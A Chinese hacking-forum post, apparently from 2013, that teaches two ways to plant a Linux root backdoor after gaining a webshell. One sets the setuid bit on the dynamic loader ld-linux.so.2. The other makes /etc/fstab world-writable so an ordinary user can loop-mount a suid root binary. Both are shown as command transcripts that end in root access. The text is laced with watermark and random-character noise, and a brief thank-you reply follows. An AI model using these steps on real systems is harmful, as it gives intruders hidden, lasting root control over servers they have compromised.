找回密码
 立即注册
查看: 3769|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
/ }5 ?& H. w/ J) N9 {7 L9 }9 ~2 U9 t/ q! b: J1 \
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
% `4 n, u; T3 e, V3 Clrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究1 Y/ ^& }$ a  [* {1 v- P9 Q) Y
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究+ D% t  ~# h- r  J9 s/ t
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究9 w' p7 c; f9 ~; @! [
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
0 w* i: U! N0 s# S) Y-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
. s7 J" j, [7 G; ilrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究% w( m( j9 U$ G+ s
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
2 l& r0 z" @& ~# X9 F+ ?! L  T我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究$ _+ [) f: b3 f/ Q- V
1 \; x0 @! ]' c0 x  R- P
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究2 Z& b0 R$ X/ o% [' f

9 {( d) f. B/ [* o. S! Y[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究" R" q( A. M+ C! ~
xiaoyu2ezX-BUG-关注前沿信息安全技术研究0 D& s& y& p' ]& R! r
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究! q6 Q" _) J. D9 V
root2ezX-BUG-关注前沿信息安全技术研究
2 v$ p5 s0 p3 T1 i6 w[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
) l6 j& S, d4 e- y3 j  b恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
9 ^5 W/ t* r5 J; ?/ M/ F; v& E
4 y3 v  p$ M$ t* B方法二:2ezX-BUG-关注前沿信息安全技术研究
" k# P' a  j/ a: m* I7 U' j# l; F; o
看过程:2ezX-BUG-关注前沿信息安全技术研究
4 T5 m+ B4 A7 x# n- _  B. {# M1 @6 F. x5 u7 h& w; e  Z
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究) F  ?) I) u, ?; q, A
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究
6 e2 W, |$ n! @% X; Y( P7 [- Z% V" L) L0 _% Y8 G( h4 w, ~( k
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究. h: ^+ O/ e, q3 J& x" s

) D# Y* g1 I3 X) K, A( L[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
' g5 M2 R' Y: z) N% t' z-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
) @- l, _  z" k% ~% w[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
7 r- H$ X! [4 n4 F( g/ F: F
0 S  u: ?* p/ Z1 X然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究4 }2 r" K5 j/ J# t
- Q! S0 z7 w& R& S
[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
8 _, R8 n/ l$ o$ Q+ F8 |  q-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究* a9 I# |. d: D3 C- r" i
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
) L/ K4 d% U  D[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究0 {( s0 K/ X2 k9 [/ Q1 O
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究5 u7 _7 Z9 X. d% G
total 182ezX-BUG-关注前沿信息安全技术研究+ }( B2 |- @, ^9 X9 K% `1 J% V
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究6 h* t2 j' ^% a+ S8 y8 b4 t
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究( K0 V1 {* u; |5 A2 H1 o7 m% A
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
/ J3 k& [, @* \, O( |0 k. {sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
/ w1 J+ l4 h8 k( B+ q5 m; c% U看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究% N( s8 K6 K% V; K0 W& J5 q
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
" S) {- V, {3 |6 I& t
! J8 a/ O3 }3 n+ j" n0 E貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
: h3 C8 f$ p2 Z2ezX-BUG-关注前沿信息安全技术研究+ B8 @7 v. B8 L  x( A. O' K# F

  E! ~- }' G0 r$ \" h
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表